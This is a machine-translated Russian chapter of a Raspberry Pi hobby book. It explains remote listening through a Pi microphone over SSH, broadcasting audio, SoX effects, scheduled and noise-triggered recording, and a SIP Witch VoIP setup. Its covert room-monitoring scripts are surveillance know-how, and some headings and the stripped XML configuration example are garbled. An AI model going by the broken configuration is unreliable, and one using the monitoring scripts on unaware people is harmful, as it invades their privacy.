$ ssh pi@[IP address] sox -t alsa plughw:1 -t sox - | sox -q -t sox - -d

SoX будет вести себя так же, как если бы он работал локально на Pi, а
шкалы громкости двигались на входе звука.
Разберем команду:


ssh pi@[IP address] sox -t alsa plughw:1 -t sox - запускает

sox на самом Pi, но отправляет вывод на наш ПК через ссылку SSH.

[ 39 ]

Аудио выходки



| sox -q -t sox - -d затем направляет этот вывод в наше локальное приложение sox,
которому мы дали аргумент -q или тихий режим по косметическим причинам,
впротивном случае SoX будет показывать два конкурирующих индикатора состояния.



Два аргумента -t sox предписывают SoX использовать собственный
местный несжатый формат файла, который особенно полезен для
передачи звука между каналами SoX, подобными этому.

Давайте посмотрим на несколько дополнительных приемов с SSH и SoX:


Полезно иметь возможность хранить запись на вашем компьютере, а не
на SD-карте Pi. Следующая команда выполнит запись с Pi на myrec.wav
на вашем локальном рабочем столе:
$ ssh pi@[IP address] sox -t alsa plughw:1 -t wav - > ~/Desktop/
myrec.wav

Обратите внимание на символ> вместо вертикальной
черты, которая используется для перенаправления
вывода в файл.



Конечно, вы также должны знать, как просто копировать файлы с вашего
Pi с помощью команды scp. Следующая команда копирует myrec.wav из
домашнего каталога пользователя pi на ваш локальный рабочий стол:
$ scp pi@[IP address]:myrec.wav ~/Desktop/myrec.wav



Просто измените порядок аргументов предыдущей команды, чтобы скопировать
myrec.wav с локального рабочего стола в домашний каталог пользователя pi:
$ scp ~/Desktop/myrec.wav pi@[IP address]:myrec.wav



Чтобы не запоминать эти длинные команды, вы можете легко создать
для них ярлыки, используя те же методы, которые мы рассмотрели
ранее в этой главе. Только в Mac OS X вам нужно поместить свои
строки в ~ / .bash_profile вместо ~ / .bash_aliases:
$ echo "alias pilisten='ssh pi@[IP address] sox -t alsa plughw:1
-t sox - | sox -q -t sox - -d'" >> ~/.bash_profile

Разговаривать с людьми на расстоянии
Вместо того, чтобы прислушиваться к действию, возможно, вы захотите создать
весь шум, сделав Pi продолжением вашего собственного голоса. Вы будете на
компьютере с микрофоном, а Pi может быть где-то еще, транслируя ваше
сообщение миру через пару динамиков (или мегафон). Другими словами, роли
Pi и ваш компьютер из предыдущей темы будут перевернуты.
[ 40 ]

Глава 2

Прослушивание в Windows

Сначала убедитесь, что SoX добавлен в Windows в соответствии с
инструкциями в разделе «Прослушивание в Windows».
1. Подключите микрофон и проверьте входную громкость вашего устройства. Вы
найдете настройки в Панели управления | Оборудование и звук | Управление
звуковыми устройствами на вкладке «Запись». Сделайте свой микрофон
устройством по умолчанию, выбрав его и нажав Установить по умолчанию.
2. Запустите командную строку из меню «Пуск», щелкнув ярлык или
введя cmd в поле «Выполнить / Поиск».
3. Мы можем сначала запустить цикл мониторинга, чтобы убедиться, что
наш микрофон работает должным образом:
C:\> "C:\Program Files (x86)\sox-14-4-1\sox" -d -d

4. . Теперь, чтобы отправить звук с микрофона на динамики Pi,
используйте следующую команду:
C:\> "C:\Program Files (x86)\sox-14-4-1\sox" -d -t wav - | "C:\
Program Files (x86)\PuTTY\plink" pi@[IP address] -pw [password]
sox -q -t wav - -d

5. Может быть, вы хотите вместо своего живого голоса транслировать приятную
музыку или записанное сообщение? Используйте следующую команду, чтобы
отправить My Song.mp3 со своего рабочего стола для воспроизведения через
динамики, подключенные к Pi:
C:\> type "%UserProfile%\Desktop\My Song.mp3" | "C:\Program Files
(x86)\PuTTY\plink" pi@[IP Address] -pw [password] sox -t mp3 - -d

6. Или почему бы не транслировать целый альбом со сладкими
мелодиями, находящийся в папке «Мой альбом» на рабочем столе:
C:\> type "%UserProfile%\Desktop\My Album\*.mp3" | "C:\Program
Files (x86)\PuTTY\plink" pi@[IP Address] -pw [password] sox -t mp3
- -d

Прослушивание в Mac OS X или Linux

Сначала убедитесь, что SoX добавлен в вашу операционную систему в соответствии
с инструкциями в разделе «Прослушивание в Mac OS X или Linux».
1. 1. Подключите микрофон и проверьте входную громкость вашего устройства.
На Mac вы найдете настройки в Системных настройках | Звук на вкладке "
Вход". Сделайте свой микрофон устройством по умолчанию, выбрав его из
списка. В Linux используйте приложение микшера по умолчанию из вашего
дистрибутива или alsamixer.
[ 41 ]

Аудио выходки

2.

Откройте терминал (расположенный в / Applications / Utilities на Mac).

3. Сначала мы можем запустить цикл мониторинга, чтобы убедиться, что наш
микрофон работает должным образом, с помощью следующей команды:
$ sox -d -d

4. Теперь, чтобы отправить звук с микрофона на динамики Pi, используйте
следующую команду:
$ sox -d -t sox - | ssh pi@[IP address] sox -q -t sox - -d

Вниманию пользователей Mac
Скорее всего, вы будете засыпаны предупреждениями от драйвера
CoreAudio, пока SSH ждет, когда вы введете пароль для пользователя
pi. Просто игнорируйте сообщения, все равно введите свой пароль и
нажмите клавишу Enter - запись будет продолжаться в обычном
режиме.

5. Может быть, вы хотите вместо своего живого голоса транслировать приятную
музыку или записанное сообщение. Используйте следующую команду, чтобы
отправить My Song.mp3 со своего рабочего стола для воспроизведения через
динамики, подключенные к Pi:
$ cat ~/"Desktop/My Song.mp3" | ssh pi@[IP address] sox -t mp3 -d

6. Или почему бы не транслировать целый альбом со сладкими мелодиями,
находящийся в папке «Мой альбом» на рабочем столе:
$ cat ~/"Desktop/My Album/"*.mp3 | ssh pi@[IP address] sox -t mp3
- -d

Искажение своего голоса странными и
чудесными способами
Устали от собственного голоса? Давайте сделаем его более интересным,
применив несколько крутых эффектов SoX!
SoX поставляется с рядом звуковых эффектов, которые можно применить к
вашему аудио и при желании сохранить. Некоторые эффекты подходят для
использования с вашим живым голосом, в то время как другие имеют смысл
только при применении к уже записанным файлам.
Чтобы увидеть список всех возможных эффектов и их параметров,
используйте следующую команду:
pi@raspberrypi ~ $ sox --help-effect=all
[ 42 ]

Глава 2

Чтобы применить эффект, укажите эффект, а затем любые параметры после
выходного файла или устройства.
В этом примере мы запустим цикл мониторинга на Pi и применим эффект
реверберации к нашему голосу вживую, когда он воспроизводится через динамики:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -d reverb

Как насчет этого? Похоже, мы застряли в пещере. Посмотрим, какие
параметры принимает эффект реверберации:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -d reverb ?
usage: [-w|--wet-only] [reverberance (50%) [HF-damping (50%) [room-scale
(100%) [stereo-depth (100%) [pre-delay (0ms) [wet-gain (0dB)]]]]]]

Параметры внутри скобок являются необязательными, а значения
внутри скобок являются значениями по умолчанию. Изменив параметр
реверберации, мы можем превратить пещеру в огромный горный холл:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -d reverb 99

Или застряли, ползая в воздуховоде:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -d reverb 99 50 0

Наш следующий пример - культовая классика - причудливая фонетическая
реверсивная речь Дэвида Линча:
1. Напишите предложение, от которого у вас мурашки по коже. («Совы не
такие, какими кажутся, и торт - тоже ложь» подойдет).
2. Прочтите предложение в обратном порядке, справа налево, и
запишите его в файл с именем myvoice.wav:
pi@raspberrypi ~ $ sox -t alsa plughw:1 myvoice.wav

3. Теперь воспроизведите вашу запись, используя обратный эффект:
pi@raspberrypi ~ $ sox myvoice.wav -d reverse

4. Если вы захотите позже добавить этот образец в список
воспроизведения вашего друга , используйте следующую команду,
чтобы сохранить его с примененным эффектом:
pi@raspberrypi ~ $ sox myvoice.wav freaky.wav reverse

[ 43 ]

Аудио выходки

Вот некоторые другие эффекты, с которыми вам, возможно, понравится
поэкспериментировать:
Команды

Описание

echo 0.8 0.9 1000 0.3

Отголоски альпийского эха

flanger 30 10 0 100 10 tri 25 lin

Классический голос робота

pitch -500

Голос жуткого злодея

pitch 500

Голос жуткого смурфа

Сделайте так, чтобы ваш компьютер говорил
Почему мы, люди, должны изнурять себя тявканьем в микрофоны весь день,
если мы можем заставить наши компьютеры делать всю работу за нас?
Установим синтезатор речи eSpeak:
pi@raspberrypi ~ $ sudo apt-get install espeak

Теперь заставим Pi что-нибудь сказать:
pi@raspberrypi ~ $ espeak "I'm sorry, Dave. I'm afraid I can't do that.Мне очень жаль, Дэйв. Боюсь, я не могу этого сделать"

Вы будете получать предупреждения от ALSA lib при каждом запуске espeak;
их можно спокойно игнорировать.
Мы также можем заставить его читать красивые стихи с французским акцентом из файла:
pi@raspberrypi ~ $ espeak -f /etc/motd -v french

Или объедините espeak с другими приложениями, чтобы получить безграничные
возможности, как показано ниже:
pi@raspberrypi ~ $ ls | espeak --stdout | sox -t wav - -d reverb 99 50 0

Чтобы записать полученную речь в файл WAV, используйте аргумент -w:
pi@raspberrypi ~ $ echo "It's a UNIX system. I know this." | espeak -w
iknow.wav

Наконец, чтобы получить список различных доступных голосов, используйте
аргументы --voices и --voices = en.

Планирование ваших звуковых действий
В этом разделе мы рассмотрим различные методы запуска записи или
воспроизведения, а также, при необходимости, способы их остановки по
прошествии определенного периода времени.
[ 44 ]

Глава 2

Начало при включении
Первый метод, который мы рассмотрим, также самый простой - как начать запись
или воспроизведение непосредственно при включении Raspberry Pi. На самом
деле не существует стандартного способа автоматического запуска обычных
пользовательских приложений при загрузке, поэтому нам придется немного
.
импровизировать,
чтобы придумать собственный способ делать то, что мы хотим
Процесс загрузки Raspbian - это в основном набор сценариев оболочки,
запускаемых один за другим, причем каждый сценарий выполняет какую-то
важную задачу. Один из последних запускаемых скриптов - это /etc/rc.local,
который является хорошей отправной точкой для нашего собственного решения
для автозапуска.
Прямо сейчас скрипт мало что делает, он просто выводит IP-адрес Pi.
Вы можете попробовать запустить сценарий в любое время, используя следующую
команду:
pi@raspberrypi ~ $ /etc/rc.local

Мы могли бы просто засунуть туда наш список команд, но давайте попробуем
сделать наше решение немного более элегантным. Мы хотим, чтобы система
проверяла, есть ли сценарий автозапуска в нашем домашнем каталоге, и, если он
существует, запускала его от имени пользователя pi. Это гарантирует, что наш
скрипт случайно не сотрет всю нашу SD-карту и не запишет огромные файлы WAV
в случайные места.
1. Начнем с небольшого дополнения к rc.local:
pi@raspberrypi ~ $ sudo nano /etc/rc.local

2. Мы собираемся добавить следующий блок кода прямо над последней
строкой выхода 0:
if [ -x /home/pi/autorun.sh ]; then
sudo -u pi /home/pi/autorun.sh
fi

Предыдущий сценарий оболочки означает, что если в домашнем каталоге
пользователя pi есть исполняемый файл с именем autorun.sh, то запускать
этот сценарий от имени пользователя pi (а не от имени пользователя root,
что было бы нормальным поведением для сценариев загрузки).
Если мы запустим /etc/rc.local прямо сейчас, ничего нового не произойдет до тех пор, пока мы не создадим сценарий autorun.sh в нашем домашнем
каталоге и не сделаем его исполняемым.
3. Итак, создадим наш скрипт автозапуска:
pi@raspberrypi ~ $ nano ~/autorun.sh
[ 45 ]

Аудио выходки

4. После первой строки #! / Bin / sh вы можете помещать в этот скрипт
что угодно. Просто имейте в виду, что здесь вы не сможете
использовать ярлыки - вам придется вводить полные команды.
Вот пример сценария записи и воспроизведения:
#!/bin/sh
#
# Auto-run script for Raspberry Pi.
# Use chmod +x ~/autorun.sh to enable.
PLAYORREC=P # Set to P for Playback or R for Record
INPUTFILE="playme.wav"
OUTPUTFILE="myrec.wav"
MICROPHONE="-t alsa plughw:1"
SPEAKERS="-t alsa plughw:0"
case "$PLAYORREC" in
P|p) sox ~/"$INPUTFILE" $SPEAKERS ;;
R|r) sox $MICROPHONE ~/"$OUTPUTFILE" ;;
*) echo "Set the PLAYORREC variable to P for Playback or R for
Record" ;;
esac
°

°

°

°

°

°

INPUTFILE - это то, что будет воспроизводиться, если мы находимся в
режиме воспроизведения, а OUTPUTFILE - это то, куда мы будем
записывать, если мы находимся в режиме записи.

°

°

°

Первая строка #! / Bin / sh называется shebang и используется, чтобы
сообщить системе, что любой последующий текст должен быть передан
в оболочку по умолчанию (которая является тире во время загрузки и
bash для входа в Raspbian) в качестве сценария. .
Остальные строки, начинающиеся с символа #, представляют собой
комментарии, используемые только для передачи информации всем, кто
читает сценарий.
Переменная PLAYORREC используется для переключения
между двумя режимами работы скрипта.

MICROPHONE and SPEAKERS позволяет нам легко обновлять
скрипт для различных аудиоустройств.

°

°
°

Блок case сравнивает символ, хранящийся в переменной
PLAYORREC (которая в данный момент является P), с тремя
возможными случаями.
Если PLAYORREC содержит заглавную P или строчную p),
запустите эту команду воспроизведения sox.
[ 46 ]

Глава 2

Если PLAYORREC содержит заглавную R или строчную r,
запустите эту команду sox record.
Если PLAYORREC содержит что-то еще или оставлено пустым,
отобразить подсказку пользователю об этом.
°

°

Команда sox запускается со значениями переменных,
вставленными в качестве аргументов, и мы предполагаем, что
указанный файл находится в домашнем каталоге пользователя
pi.

5. После того, как мы сохранили скрипт autorun.sh и вышли из редактора, нам
нужно сделать еще одну вещь, прежде чем мы сможем его запустить. Нам
нужно дать исполняемому файлу скрипта разрешение с помощью команды
chmod:
pi@raspberrypi ~ $ chmod +x ~/autorun.sh

6. Теперь мы можем выполнить тестовый запуск скрипта:
pi@raspberrypi ~ $ ~/autorun.sh

Если сейчас все работает нормально, значит, при перезагрузке все должно
работать нормально.
Одно из основных улучшений, которое мы могли бы сделать в скрипте, - это
заставить tmux запускать процесс воспроизведения или записи в фоновом
режиме. Таким образом, мы сможем удаленно входить в систему и проверять
работу sox. Просто измените две командные строки sox следующим образом:
P|p) tmux new-session -s autostart -n $PLAYORREC -d "sox
~/\"$INPUTFILE\" $SPEAKERS" ;;
R|r) tmux new-session -s autostart -n $PLAYORREC -d "sox $MICROPHONE
~/\"$OUTPUTFILE\"" ;;

Здесь мы говорим tmux создать новый сеанс с именем autostart, создать новое
окно с именем P или R в зависимости от режима и начать работу в
отсоединенном состоянии. Затем мы указываем команду, которую хотим
запустить в сеансе tmux, в двойных кавычках. Поскольку $ INPUTFILE и $
OUTPUTFILE также заключены в двойные кавычки, мы должны изолировать
эти символы, добавив к ним префикс \.
Самый простой способ временно отключить скрипт, когда вам не нужно ничего
воспроизводить или записывать при загрузке, - это удалить из скрипта
разрешение на исполняемый файл:
pi@raspberrypi ~ $ chmod -x ~/autorun.sh

[ 47 ]

Аудио выходки

Запланированный старт
Когда мы просто хотим отложить начало чего-либо на несколько минут, часов или
дней, команда at нам подойдет.
Добавьте его в систему, используя следующую команду:
pi@raspberrypi ~ $ sudo apt-get install at --no-install-recommends

Команда at может при желании отправлять электронные письма с отчетами о
состоянии, но поскольку для этого потребуется установить и запустить небольшой
локальный почтовый сервер, мы сказали apt-get не устанавливать здесь
дополнительные рекомендуемые пакеты.
Начнем с демонстрации базовых объектов. Сначала мы указываем время, в
которое мы хотим, чтобы что-то произошло:
pi@raspberrypi ~ $ at now + 5 minutes

Затем at will войдет в режим ввода команд, в котором мы вводим команды,
которые хотим выполнить, по одной в каждой строке:
at> sox ~/playme.wav -d
at> echo "Finished playing at $(date)" >> ~/at.log

Затем мы нажимаем Ctrl + D, чтобы сообщить, что мы закончили с нашим списком
команд, и мы получим вывод с идентификационным номером ID нашего задания и
точным временем его запланированного запуска.
По прошествии пяти минут ваша работа перейдет в фоновый режим. Обратите
внимание, что на вашей консоли не будет видимого вывода из приложения. Если
вам нужно быть уверенным, что ваша команда выполняется, вы можете записать
строку в файл журнала, как это было сделано в предыдущем примере.
В качестве альтернативы вы можете запланировать команды на точную дату и время:
pi@raspberrypi ~ $ at 9am 1 January 2015

Задания в очереди, ожидающие выполнения, можно просмотреть с помощью
следующей команды:
pi@raspberrypi ~ $ atq

Узнав идентификатор задания, вы можете удалить его из очереди, заменив
# на свой идентификатор:
pi@raspberrypi ~ $ atrm #

[ 48 ]

Глава 2

Еще один изящный трюк - указать сценарий оболочки, который будет
выполняться, вместо того, чтобы вводить команды вручную:
pi@raspberrypi ~ $ at now + 30 minutes -f ~/autorun.sh

На плате Raspberry Pi отсутствуют часы реального времени (RTC), которые
компьютеры используют для отслеживания текущего времени. Вместо этого Pi
должен спрашивать другие компьютеры по сети, во сколько он загружается. В
качестве альтернативы, он может получить точное время от модуля GPS, как описано
в разделе «Использование GPS в качестве источника времени» главы 5,
Использование вашего Pi для бездорожья. Pi также не можетотслеживать время,
которое проходит, когда он выключен.
Если нам нужно что-то рассчитать, но мы знаем, что у нас не будет доступа к сети, мы
можем объединить технику, описанную в разделе «Запуск при включении», с
командой at.Это позволяет нам реализовать идею Запустить воспроизведение через
1 час после того, как я подключу Pi.
Все, что нам нужно сделать, это изменить одну строку в нашем сценарии /etc/rc.local,
чтобы добавить таймер at:
if [ -x /home/pi/autorun.sh ]; then
sudo -u pi at now + 1 hour -f /home/pi/autorun.sh
fi

Управление продолжительностью записи
Автоматическая запись SoX будет продолжаться до тех пор, пока Pi не
исчерпает место на SD-карте. Мы можем использовать эффект обрезки,
чтобы остановить запись (или воспроизведение) по истечении определенного
времени:
pi@raspberrypi ~ $ sox -t alsa plughw:1 myrec.wav trim 0 00:30:00

Предыдущая команда запишет тридцать минут звука на myrec.wav, а затем
остановится. Первый ноль указывает эффекту обрезки начать измерение с
начала файла. Позиция, в которой вы хотите обрезать запись, указывается
как часы: минуты: секунды.
Еще одна функция, полезная для длинных записей, - это возможность разбить
ее на несколько файлов, каждый из которых имеет определенную
продолжительность. Следующая команда создаст несколько файлов WAV,
каждый из которых имеет длину один час:
pi@raspberrypi ~ $ sox -t alsa plughw:1 myrec.wav trim 0 01:00:00 :
newfile : restart

[ 49 ]

Аудио выходки

Начать запись с обнаружением шума
Было бы здорово, если бы Pi мог отслеживать активность в комнате и начинать
запись только тогда, когда что-то или кто-то издает звук? И снова на помощь
приходит SoX.
Наш метод обнаружения шума состоит из двух простых шагов:
1. Начните слушать в течение одной секунды и измерьте уровень шума в
течение этой секунды.
2. Если измеренный шум был выше определенного порога, начните запись в
течение 5 минут, а если нет, начните заново и слушайте еще секунду.
Во-первых, давайте откалибруем микрофон и выясним хорошее пороговое
значение амплитуды:
pi@raspberrypi ~ $ sox -t alsa plughw:1 -n stat trim 0 00:00:01 : restart

Эта команда запускает мониторинг вашего микрофона, но аргумент -n
указывает sox отказаться от вывода, поскольку нас интересует только
статистика, производимая эффектом stat. Эффект обрезки затем прекращает
мониторинг через одну секунду, печатается важная статистика, и начинается
новая секунда мониторинга благодаря аргументу перезапуска.
Теперь обратите внимание на значение максимальной амплитуды в выводе
статистики.
Пока вы молчите, значение не должно слишком сильно колебаться от одного
показания к другому. Затем сделайте громкий шум и наблюдайте за скачком
значения максимальной амплитуды. Теперь попробуйте отойти подальше от
микрофона и сказать что-нибудь своим обычным тоном. Если произошло
значительное изменение значения амплитуды, запишите это значение как
приблизительную отправную точку для вашего порогового значения. Если нет,
попробуйте увеличить громкость микрофона в alsamixer, пока не увидите
значительного увеличения значения амплитуды.
Хорошо, теперь все, что нам нужно сделать, это перевести теорию в логику
программы с помощью следующего скрипта:
#!/bin/bash
#
# Noise activated recorder script for Raspberry Pi.
# Use chmod +x ~/noisedetect.sh to enable.
THRESHOLD=0.010000
noise_compare() {
awk -v NOISE=$1 -v THRESHOLD=$2 'BEGIN {if (NOISE > THRESHOLD) exit
0; exit 1}'
}

[ 50 ]

Глава 2
while true ; do
NOISE=$(sox -t alsa plughw:1 -n stat trim 0 00:00:01 2>&1 > /dev/
null | grep 'Maximum amplitude' | cut -d ':' -f 2 | tr -d ' ')
if noise_compare $NOISE $THRESHOLD; then
echo "Noise detected ($NOISE) - Recording..."
sox -t alsa plughw:1 $(date +%Y%m%d-%H%M%S).wav trim 0 00:05:00
fi
done

Переменная THRESHOLD, конечно, хранит значение пороговой амплитуды,
которое вы узнали при калибровке своего микрофона. Далее идет функция
noise_compare.
Функция - это фрагмент кода, который можно вызывать из другихмест сценария.
В этом случае мы используем его для сравнения двух чисел сплавающей
запятой, передав
их команде awk, поскольку в bash нет встроенной возможности
.
Затем мы входим в бесконечный цикл, что означает, что наш скрипт будет
продолжать выполняться, пока мы не нажмем Ctrl + C, чтобы выйти из цикла.
Затем мы объединяем серию команд для извлечения значения максимальной
амплитуды из sox и сохраняем его в переменной NOISE, которая затем
сравнивается с нашей переменной THRESHOLD с помощью функции
noise_compare.
Если значение NOISE больше, чем значение THRESHOLD, мы начинаем
5-минутную запись с текущими датой и временем в качестве имени файла.
Теперь, когда вы знаете, как выполнять обнаружение звука, вы можете легко
поменять местами команду записи sox для воспроизведения сигнала тревоги
или отправки предупреждения по электронной почте о возможном шумном
вторжении, как описано в разделе «Отправка обновлений по электронной
почте» главы 5, Отправляясь на бездорожье со своим Pi.

Вызов ваших коллег-агентов
Когда вы находитесь в поле и вам нужно обратиться за помощью к другому
агенту или сообщить об этом в штаб-квартиру, вы не хотите зависеть от
телефонной сети общего пользования, если можете этого избежать. Как
стационарные, так и сотовые телефоны могут прослушивать всевозможные
подозрительные персонажи, и, чтобы добавить оскорбления к травмам, вам
придется заплатить хорошие деньги за эту услугу. Мы можем добиться большего.
Добро пожаловать в чудесный мир передачи голоса по IP (VoIP). VoIP - это общий
термин для любой технологии, способной передавать речь между двумя
конечными пользователями по IP-сетям. Существует множество сервисов и
протоколов, которые пытаются удовлетворить этот спрос, большинство из которых
вынуждают вас подключаться через центральный сервер, которым вы не владеете
или не управляете.
[ 51 ]

Аудио выходки

Мы собираемся превратить Pi в центральный сервер нашей собственной
телефонной сети. Чтобы помочь нам с этой задачей, мы развернем GNU SIP Witch одноранговый сервер VoIP, который использует протокол инициации сеанса (SIP)
для маршрутизации вызовов между телефонами.
Хотя доступно множество отличных серверов VoIP (Asterisk, FreeSwitch, Yate и т. д.),
преимущество SIP Witch состоит в том, что он очень легкий для Pi, потому что его
единственная задача - подключение телефонов, а не многое другое.

Настройка SIP Witch
После того, как у нас будет запущен SIP-сервер, мы добавим один или несколько
программных телефонов или софтфонов. Предполагается, что сервер и телефоны
будут находиться в одной сети, поэтому, если вы находитесь вдали от дома со своим
Pi, вы можете взглянуть на раздел "Превращение Pi в точку доступа Wi-Fi в главе 5. Pi
Сначала бездорожье."
Давайте начнем!
1. Установите SIP Witch с помощью следующей команды:
pi@raspberrypi ~ $ sudo apt-get install sipwitch

2. Как сказано в выводе предыдущей команды, мы должны определить
PLUGINS (ПЛАГИНЫ) в / etc / default / sipwitch перед запуском SIP Witch.
Откроем его для редактирования:
pi@raspberrypi ~ $ sudo nano /etc/default/sipwitch

Найдите строку, которая гласит # PLUGINS = "zeroconf scripting subscriber
forward", и удалите символ #, чтобы раскомментировать строку. Эта
директива сообщает SIP Witch, что мы хотим, чтобы были загружены
стандартные плагины.
3. Далее мы посмотрим на основной файл конфигурации SIP Witch:
pi@raspberrypi ~ $ sudo nano /etc/sipwitch.conf

Обратите внимание на то, что некоторые блоки текста находятся между
тегами .Это комментарии в XML-документах, которые SIP Witch
игнорирует. Какие бы изменения вы ни хотели внести, убедитесь, что они
выходят за рамки этих тегов.
4. Теперь мы собираемся добавить несколько учетных записей пользователей
программных телефонов. Вам решать, сколько телефонов вы хотите
использовать в вашей системе, но для каждой учетной записи требуется имя
пользователя, добавочный номер (короткий номер телефона) и пароль. Найдите
тег , создайте новую строку и добавьте своих пользователей:

201
SecretSauce201
Agent 201

[ 52 ]

Глава 2

202
SecretSauce202
Agent 202


ID будет использоваться в качестве имени пользователя / логина позже на
программных телефонах.В этой конфигурации по умолчанию добавочные
номера могут иметь любое число от 201 до 299. Secret - это пароль, который
будет идти вместе с именем пользователя на программных телефонах. Мы
рассмотрим лучший способ хранения паролей позже в этой главе. Наконец,
отображаемая строка определяет идентификатор, который будет
представлен другим телефонам при вызове.
5. Еще одна вещь, которую нам нужно настроить - как SIP Witch
должен обрабатывать локальные имена. Это дает возможность звонить на
телефон не только по добавочному номеру, но и по идентификатору
пользователя. Найдите тег , создайте новую строку и добавьте
следующую директиву, но замените [IP-адрес] IP-адресом вашего Pi:
[IP address]

Это все изменения, которые нам нужно внести в конфигурацию на данный
момент.

Базовая конфигурация SIP Witch для двух телефонов
[ 53 ]

Аудио выходки

6. После настройки конфигурации запустим службу SIP Witch:
pi@raspberrypi ~ $ sudo service sipwitch start

Сервер SIP Witch работает в фоновом режиме и выводит данные только в
файл журнала, который можно просмотреть с помощью этой команды:
pi@raspberrypi ~ $ sudo cat /var/log/sipwitch.log

7. Теперь мы можем использовать команду sipwitch для взаимодействия с
работающей службой. Введите sipwitch для получения списка всех
возможных команд. Вот краткий список особенно удобных:
Команда

Описание

sudo sipwitch dump

Показывает, как в настоящее время настроен
сервер SIP Witch.

sudo sipwitch registry

Список всех зарегистрированных в настоящее время

sudo sipwitch calls

Список активных вызовов.

sudo sipwitch message
[extension] "[text]"

Отправляет текстовое сообщение с сервера на
добавочный номер.Идеально подходит для
отправки обновлений статуса с Pi через скрипты.

Подключение софтфонов
Управлять собственной телекоммуникационной службой - это довольно скучно без
реальных телефонов. К счастью, для большинства распространенных электронных
устройств доступны приложения для программных телефонов.
Конфигурация этих телефонов будет практически одинаковой, независимо от того,
на какой платформе они работают. Это основная информация, которую всегда
необходимо указывать при настройке приложения софтфона:


Имя пользователя / логина: phone1 или phone2 в нашем примере конфигурации.



Password / Authentication: секрет пользователя в нашей конфигурации.



Server / Host name / Domain: IP-адрес вашего Pi.

[ 54 ]

Глава 2

После успешной регистрации программного телефона на сервере SIP Witch вы
сможете увидеть этот телефон в списке с помощью команды sudo sipwitch
registry.
Далее следует список проверенных достойных софтфонов, которые сделают
свою работу.

Windows (MicroSIP)
MicroSIP - это программный телефон с открытым исходным кодом, который также
поддерживает видеозвонки. Посетите http://www.microsip.org/downloads, чтобы
получить и установить последнюю версию (MicroSIP-3.8.1.exe на момент
написания книги).

Настройка софтфона MicroSIP для Windows

Щелкните правой кнопкой мыши строку состояния в главном окне приложения
или значок на панели задач, чтобы открыть меню, которое позволяет получить
доступ к настройкам аккаунта.

[ 55 ]

Аудио выходки

Mac OS X (телефон)

Телефон - это базовый программный телефон с открытым исходным кодом,который
легко устанавливается через MacApp store.

Настройка программного телефона Телефон для Mac OS X

Linux (SFLphone)

SFLphone - это программный телефон с открытым исходным кодом с пакетами,
доступными для всех основных дистрибутивов и клиентских интерфейсов как для
GNOME, так и для KDE. Используйте менеджер пакетов вашего дистрибутива,
чтобы найти и установить приложение.

Настройка клиента SFLphone GNOME в Ubuntu
[ 56 ]

Глава 2

Android (CSipSimple)

CSipSimple - отличный программный телефон с открытым исходным кодом,
доступный в магазине Google Play. При добавлении учетной записи используйте
базового универсального мастера.

Настройка софтфона CSipSimple на Android

iPhone/iPad (Linphone)

Linphone - это программный телефон с открытым исходным кодом, который
легко установить через магазин приложений iPhone. Выберите « I have already a
SIP-account - У меня уже есть SIP-аккаунт», чтобы перейти к мастеру настройки.

Настройка Linphone на iPhone
[ 57 ]

Аудио выходки

Запуск софтфона на Pi
Всегда хорошо иметь возможность связаться с вашими агентами прямо из
штаб-квартиры, то есть самого Pi. Еще раз доказывая, что из командной строки
можно делать все, что угодно, мы собираемся установить программный телефон
Linphone, который будет эффективно использовать ваш USB-микрофон.
Этому новому программному телефону, как и другим, необходимы идентификатор
пользователя и пароль. Мы воспользуемся этой возможностью, чтобы найти
лучший способ хранения паролей в SIP Witch.

Шифрование паролей SIP Witch
Введите sudo sipwitch dump, чтобы увидеть, как в настоящее время настроен SIP
Witch. Найдите раздел account: и обратите внимание, что уже существует
идентификатор пользователя с именем pi с расширением 200.
Это результат функции SIP Witch, которая автоматически назначает добавочный
номер определенным учетным записям пользователей Raspbian. Вы также могли
заметить, что отображаемая строка для пользователя pi выглядит пустой. Мы
можем легко исправить это, заполнив поле полного имени учетной записи
пользователя Raspbian pi с помощью следующей команды:
pi@raspberrypi ~ $ sudo chfn -f "Agent HQ" pi

Теперь перезапустите сервер SIP Witch с помощью sudo service sipwitch restart и
проверьте с помощью sudo sipwitch dump, что строка отображения изменилась.
Итак, как нам установить пароль для этого автоматически добавляемого
пользователя pi? Для других учетных записей мы указали пароль открытым текстом
внутри тегов в /etc/sipwitch.conf. Это не лучшее решение с точки зрения
безопасности, если ваш Pi попадет в чужие руки. Таким образом, SIP Witch
поддерживает представление паролей в зашифрованном виде дайджеста.
Используйте следующую команду, чтобы создать зашифрованный пароль для
пользователя pi:
pi@raspberrypi ~ $ sudo sippasswd pi

Затем мы можем просмотреть базу данных паролей SIP, о которых знает SIP Witch:
pi@raspberrypi ~ $ sudo cat /var/lib/sipwitch/digests.db

Теперь вы можете добавить дайджест-пароли для других пользователей SIP, а затем
удалить
все строки из /etc/sipwitch.conf должны быть полностью свободны от
открытого текста.
[ 58 ]

Глава 2

Настройка Linphone

Когда наша учетная запись пользователя pi настроена и готова к работе, приступим к
настройке Linphone:
1. Linphone действительно имеет графический пользовательский интерфейс,
но мы укажем, что нам нужен только клиент командной строки:
pi@raspberrypi ~ $ sudo apt-get install linphone-nogtk

2. Теперь запускаем клиента командной строки Linphone:
pi@raspberrypi ~ $ linphonec

3. Вы сразу получите предупреждение, которое гласит:
Warning: Could not start udp transport on port 5060, maybe thisport is
already used.-Предупреждение: не удалось запустить транспорт udp на порте
5060, возможно, этот порт уже используется.

Собственно, именно это и происходит. Стандартный канал связи для протокола SIP
- это порт 5060 UDP, и он уже используется нашим сервером SIP Witch. Скажем
Linphone использовать порт 5062 с помощью этой команды:
linphonec> ports sip 5062

4. Далее мы хотим настроить наш микрофон. Используйте эти три команды для
отображения, отображения и выбора аудиоустройства, которое будет
использоваться для телефонных звонков:
linphonec> soundcard list
linphonec> soundcard show
linphonec> soundcard use [number]

5. Чтобы софтфон работал достаточно хорошо на Pi, нам нужно внести изменения в
список кодеков, которые Linphone попытается использовать. Задача кодека максимально сжать звук при сохранении высокого качества.Это очень
интенсивный процесс, поэтому мы хотим использовать кодек с наименьшей
загрузкой процессора на Pi, а именно PCMU или PCMA.
Используйте следующую команду, чтобы вывести список всех
поддерживаемых в настоящее время кодеков:
linphonec> codec list

Теперь используйте эту команду, чтобы отключить все кодеки, кроме
PCMU или PCMA:
linphonec> codec disable [number]

6. Пришло время зарегистрировать наш софтфон на сервере SIP Witch.
